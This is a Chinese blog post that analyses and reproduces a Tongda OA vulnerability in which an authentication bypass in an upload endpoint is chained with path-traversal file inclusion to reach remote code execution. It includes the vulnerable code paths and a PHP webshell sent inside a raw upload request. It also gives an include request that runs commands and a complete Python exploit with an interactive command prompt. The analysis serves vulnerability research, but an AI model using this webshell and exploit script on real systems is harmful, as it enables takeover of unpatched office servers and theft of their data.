swfupload上传文件导致session丢失_通达OA文件上传+文件包含导致RCE漏洞分析复现...

把自己在csdn的一些水文移植过来,hhh。

文章目录

    • 0x00 闲扯

    • 0x01 安装

    • 0x02 漏洞分析

    • 0x03 漏洞复现

0x00 闲扯

研究了好几个java程序的漏洞,但是都有好多地方不明白,java不太熟悉,太打击人了。先分析之前复现过的php漏洞压压惊。

漏洞版本:
tongdaOA V11
tangdaOA 2017
tangdaOA 2016(为啥我下的16版本还要自己添加gateway.php呢,懵逼)
tangdaOA 2015
tangdaOA 2013 增强版
tangdaOA 2013

0x01 安装

1.下载漏洞版本,我下的是2016年版本:(通达oa是windows上用的,不能丢linux里)

http://www.tongda2000.com/download/2016.php49799915b1b61dbeb840b7d24f9fce1f.png
2.下载完了之后傻瓜式安装,注意提示,路径不能有中文,还有长度限制:459d108163614ff041b10b31ff40f750.png
3.装完之后会弹出来一个窗口,分别选中MYsql5和web服务,点击右侧的注册:b1539f18b5e72890473c7a24b03ecaec.png
4.浏览器访问localhost:(如果你改端口了就要访问改后的端口)bd87850b597a5ae7f2e147f8ca8df03b.png

0x02 漏洞分析

1.漏洞文件有三个,分别是upload.php / gateway.php / utility_file.php;具体路径和版本有关。

upload.php文件:

D:\MYOA\webroot\ispirit\im\upload.php

gateway.php文件:

https://github.com/jas502n/OA-tongda-RCE/blob/master/tongda/decode/gateway.php

D:\MYOA\webroot\interface下面新建一个gateway.php,把代码粘贴进去。

utility_file.php:

是在线网址解的:http://dezend.qiling.org/free.html

2.终于开始分析了- -,首先看upload.php文件:15fafaf781f7d17e5fb132db54e6d1ca.png
这里是post接收了一个P参数,如果P存在或者不为空就包含session.php,然后给你设置了session,如果是空的话就包含了auth.php文件,这个文件就是身份验证的意思了。

我们就可以传一个P参数,值随便给,就导致了一个越权操作。(因为这上传点是在后台的)

3.继续往下看关键点,中间的一些不管了:d1767ef69c6d47c67dff2eb3acfcbfbf.png
这里只要上传了文件,就是大于等于1的,然后就进入判断来到第二个红点处,调用了upload函数。

4.upload函数在D:\MYOA\webroot\inc\utility_file.php里面,我把这个文件解密了下,代码太多就贴出来一部分,关键点:4a8f5807e7682ca95ee6373b61d5b110.png
先看第二个红点,如果$ERROR_DESC为空,那么就进入add_attach函数,而这个函数正是把文件保存在服务器的函数,所以我们要保证$ERROR_DESC为空。

再往上看到第一个红点,那里给$ERROR_DESC初始化为空,我们现在就需要绕过两个红点之间的一些赋值操作,保证$ERROR_DESC为空。

内层的第二个和第三个if,检查文件名非法字符和文件大小是否为0 ,很明显,我们上传点后缀马(12.php.)不会触发这些规则,根本不需要绕过。

主要看第一个内层if,它调用了is_uploadable函数,我们要保证这个函数返回true才不会进入if里面,这个函数 也在这个文件里。

5.在1667行:8561c10eb97acae986aa7324b7f2e659.png
strrpos — 计算指定字符串在目标字符串中最后一次出现的位置,如果没有找到,返回 FALSE。

我们的文件名肯定是有“.”的,所以直接进入else,这里用substr函数截取了"."后面的三个字符,而且用strtolower函数把它转换为小写。

也就是说,我们不能用php\php3\php4和大小写绕过了,但是phtml、php. 这些都是可以的。(因为之后还是要用到文件包含漏洞,所以这里随便上传图片马也可以了,不用绕过)

绕过之后就给$EXT_NAME赋值为“.”之后的字符。

6.回到upload函数,我们可以成功的去add_attach函数了:e0c584b37980ae9b23f602f5c328a3cd.png

7.add_attach函数也在这个文件下,在1318行:

这个里边就是各种拼接目录和文件名,文件名也是随机的:61725b9ab15b66d2e803b8bf37ad43a4.png

8.问题来了,我们在攻击的时候,没办法知道随机后的文件名。但是在upload.php里面有这么一段:12605dce6f6c9ad713ab400a388cf3a8.png
第一个点点,$UPLOAD_MODE其实也是我们可以通过post传上去的;
第二个点点就是把我们的一些目录和文件名拼接起来,一会儿直接在复现中看比较清楚;
第三个点点就是把它echo出来。

9.我们知道了文件名,但是问题又来了,我们的网站根目录是webroot,我们上传的文件却被保存在attach里面的一个目录下,我们就没办法直接访问了。(好像版本不同,保存的文件位置也不同,但是都不在网站根目录下)

我们现在就需要一个文件包含漏洞去包含它,而且这个包含漏洞还需要允许 “…/”往上跨目录:55038866fbd71c2a3fac108b939fad5e.png

10.在gateway.php文件里面,就有一个包含函数包含了变量:3937c13c2feec0bfd1018d19c2f0201d.png

11.因为这个文件下载下来只有几十行,那就全部分析了:

第一部分:f6dfb9858e1c788a21df919b84a1c313.png
包含了一些文件,然后判断$P不为空就进入if里面,然后哒哒哒一系列操作,导致有可能exit掉,不能到最后的包含函数。

这里不用仔细看,我们不传$P就可以了,因为它没写else会怎么怎么样。(这里传不传$P和之前的上传没关系,是两个操作,不影响)

第二部分:2eab811584bca8cdf0f560203d8f7f1c.png
stripcslashes函数删除$json中的反斜杠;
然后json解码并且转为数组;

foreach循环,键名赋给$key,键值赋给$val,假如…,假如$key等于url,就把$val赋值给$url。(因为包含函数包含的变量是$url,所以不看内层的foreach)

第三部分:cb9797e5b170171249d079dba423ed6e.png
如果$url不为空,进入判断;
如果$url的第一位是"/"符号,就把它去掉;
只要$url中存在general/、ispirit/、module/中的任意一个,就可以进行包含。

12.调用链:upload.php==》 utility_file.php的upload() ==》 is_uploadable() ==》 add_attach() ==》 upload.php(输出文件名) ==》 gateway.php的include_once函数。

0x03 漏洞复现

首先确保安装完成,能够正常访问,并且把gateway.php文件放进interface文件夹里(上面都有说)

我搞的大佬的poc直接传了:

POST /ispirit/im/upload.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Length: 564
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: Phpstorm-9102a7e6=cc1a9f2c-c084-4378-8aa3-e42492123b1c; PHPSESSID=18p3ov5rtc2i1elr4dvje9m1b3
Upgrade-Insecure-Requests: 1

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="123.php."
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

看这里,我们指定了UPLOAD_MODE,是为了输出文件保存地址;

我们指定了P参数,伪造身份认证;

我们上传了免杀马,Content-Type是图片的,文件名是用了 “点后缀绕过”,下面是输出结果。c2375298b73619e141f8701c1054800f.png
我们再看本地的文件(注意看我的路径),可以看到,

@后面的2005是子目录名,

1406090585|123.php. 变成了1406090585.123.php ,

因为windows的特性,最后的 “.” 也被去掉了。

(直接对比 比 分析源代码容易多了)(版本不同可能目录也有些不同)0aa19988750972cbe0dd4a3e521dda7e.png
我们知道了文件路径和构成规则就可以进一步包含了:

POST /interface/gateway.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: Phpstorm-9102a7e6=cc1a9f2c-c084-4378-8aa3-e42492123b1c; PHPSESSID=18p3ov5rtc2i1elr4dvje9m1b3
Upgrade-Insecure-Requests: 1

json={"url":"/general/../../attach/weixunshare/2005/1406090585.123.php"}&cmd=whoami

可以看到,我们是传的json数据;

而且url的值里面包含了general,这个general也可以换成ispirit或者module。

我们之前分析过,在根目录下的确存在这么几个目录。

(这里因为版本不同路径也会不同,其他版本的

包含文件路径:/ispirit/interface/gateway.php/mac/gateway.php 

文件上传后的路径 /general/../../attach/im/)bc0ba80a22f6a19fb30c880d14e1a0b2.png
最后包含执行命令的结果:90f3fae8ea6eb1de85e6b9ba54e6e3cc.png

kw,版本不同导致目录不同的话,POC+EXP不好写啊- -。看了好多前辈的分析文章,就没见到过我这种目录的- -。

通达OA文件上传+文件包含漏洞 【POC+EXP练习计划2】

自己瞎写的poc,喜欢用命令行提示的方式或者改源码的方式传参- -不喜欢 --url 这种。

#因为路径要循环判断,所以看起来有点杂乱

#文件包含要加上Content-Type: application/x-www-form-urlencoded。但是上传不能用这个,所以弄了两个headers

#在同目录下要存在一个123.php , 123.php是要上传的马

import requests
import re

headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36'}

headers1 = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36',
'Content-Type':'application/x-www-form-urlencoded'
}
proxies = {'http':'http://127.0.0.1:8080'}

class Poc:
def __init__(self,url,uploadUrl):
self.url = url
self.uploadUrl = self.url + uploadUrl
self.includeUrl = None
self.file = None
self.cmd = 'echo H9_dawn'
self.status = 0

def upload(self):
files = {'ATTACHMENT':('123.php.',open('123.php.','rb'),'image/png')}
data = {'UPLOAD_MODE':2,'P':'123'}
response = requests.post(self.uploadUrl,headers=headers,data=data,files=files)
if 'OK' in str(response.content):
return str(response.content)
else :
return 'No'

def include(self):
data = 'json={"url":"'+self.file+'"}&cmd='+self.cmd
response = requests.post(self.includeUrl,headers=headers1,data=data)
response = str(response.content)
if "H9_dawn" in response:
self.status = 1

def rce(self):
data = 'json={"url":"' + self.file + '"}&cmd=' + self.cmd
response = requests.post(self.includeUrl, headers=headers1, data=data)
response = str(response.content)
print(response)


def zz(html):
rere = re.compile('@(\d+)_|(\d+)\||([1-9a-z.]+)\.\|')
dic1 = rere.findall(html)
return dic1[0][0] + '/' + dic1[1][1] + '.' + dic1[2][2]

if __name__ == '__main__':
logo = '''
__ __ ___
| | | | / _ \ ____
| |__| | | (_) | | _ \ __ ___ ___ __
| __ | \__, | | | | |/ _` \ \ /\ / / '_ \
| | | | / / | |_| | (_| |\ V V /| | | |
|__| |__| /_/ ______ |____/ \__,_| \_/\_/ |_| |_|
'''
print(logo)
url = 'http://localhost'
uploadUrl = '/ispirit/im/upload.php'
includeUrl = ['/ispirit/interface/gateway.php', '/mac/gateway.php','/interface/gateway.php']
includeDir = '/general/../../attach/im/'
poc = Poc(url, uploadUrl)
status = 0
resp = poc.upload()
if (resp == 'No'):
print("上传失败")
else:
fileName = zz(resp)
for i in includeUrl:
poc.includeUrl = url + i
poc.file = includeDir + fileName
poc.include()
if poc.status == 1:
print("[+++]恭喜你,存在通达OA漏洞")
status = 1
break
if status == 1:
while (1):
cmd = input("请输入你要执行的命令:")
poc.cmd = cmd
poc.rce()
else :
print("[---]很遗憾,不存在通达OA漏洞")
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值